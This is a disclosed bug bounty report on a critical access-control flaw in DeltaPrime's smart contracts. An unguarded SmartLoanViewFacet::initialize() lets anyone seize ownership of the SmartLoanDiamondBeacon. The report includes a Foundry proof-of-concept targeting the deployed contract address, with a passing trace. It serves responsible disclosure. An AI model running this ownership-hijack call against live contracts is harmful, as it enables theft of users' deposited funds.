DeltaPrime Disclosed Report

Bug bounty report DeltaPrime Smart Contracts

Protocol Privileged Owner Hijack via SmartLoanViewFacet::initialize()

Company
Created date
Jul 30 2024

Target

https://github.com/DeltaPrimeLabs/deltaprime-primeloans/tree/dev/main

Vulnerability Details

  • DeltaPrime maintains all users’ prime accounts in the pattern of “Proxy+implementation” where each prime account is a proxy pointing to the implementation contract. The implementation contract, i.e., “SmartLoanDiamondBeacon”, adheres to the EIP-2535 standard (Diamond) and can only be managed by the protocol owner. This means that if a malicious user can manage to become the owner of the "SmartLoanDiamondBeacon" contract, he/she can gain control over all users' Prime accounts.

  • When we reviewed the DeltaPrime code implementation, we did indeed discover such a vulnerability. Specifically, this vulnerability involves a facet contract called “SmartLoanViewFacet”. This contract includes an “initialize()” function, originally designed to initialize the owner for a new prime account. However, we noticed that a hacker can directly call the “SmartLoanViewFacet::initialize()” function to hijack the owner of the “SmartLoanDiamondBeacon” contract.

  • With ownership of the “SmartLoanDiamondBeacon” contract, the hacker can arbitrarily modify the functionalities of the implementation for all prime accounts, enabling the hacker to steal all the protocol funds, including the funds in all DeltaPrime lending pools and all Prime Accounts. The estimated total loss is >$50M. For example, the hacker can add a “freeBorrow()” function to borrow all the lending pool funds without any solvency check.

  • Furthermore, once the owner of the “SmartLoanDiamondBeacon” contract is hijacked, there is no way for DeltaPrime to take it back or mitigate the exploit, which means the protocol is totally controlled by the hacker.

Validation steps

Vulnerability Code:

https://github.com/DeltaPrimeLabs/deltaprime-primeloans/blob/dev/main/contracts/facets/SmartLoanViewFacet.sol#L42

POC:

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
import "forge-std/Test.sol";

interface ISmartLoanDiamondBeacon {
    function initialize(address owner) external;
}

contract POC is Test {
    string constant endpoint = "RPC_URL";
    address constant diamond = 0x62Cf82FB0484aF382714cD09296260edc1DC0c6c;
    address constant newOwner = 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4;// Note: it can be anyone.
		
    function setUp() public {
        vm.createSelectFork(endpoint, 234980496);
    }
    function test_hijackSmartLoanDiamondBeaconOwner() public {
        ISmartLoanDiamondBeacon(diamond).initialize(newOwner);
    }
}

Result:

Running 1 test for test/POC.t.sol:POC
[PASS] test_hijackSmartLoanDiamondBeaconOwner() (gas: 39748)
Traces:
  [39748] POC::test_hijackSmartLoanDiamondBeaconOwner()
    ├─ [36709] 0x62Cf82FB0484aF382714cD09296260edc1DC0c6c::initialize(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4)
    │   ├─ [29309] 0xD9EB3D537517040B339e6bea8dfA8EDe7f364512::initialize(0x5B38Da6a701c568545dCfcB03FcB875f56beddC4) [delegatecall]
    │   │   ├─ emit OwnershipTransferred(param0: 0x43D9A211BDdC5a925fA2b19910D44C51D5c9aa93, param1: 0x5B38Da6a701c568545dCfcB03FcB875f56beddC4)
    │   │   └─ ← ()
    │   └─ ← ()
    └─ ← ()
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.28s

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Critical
Bounty
hidden
Visibilitypartially
VulnerabilityAccess/Privacy Control Violation
Participants (3)
company admin
triage team
author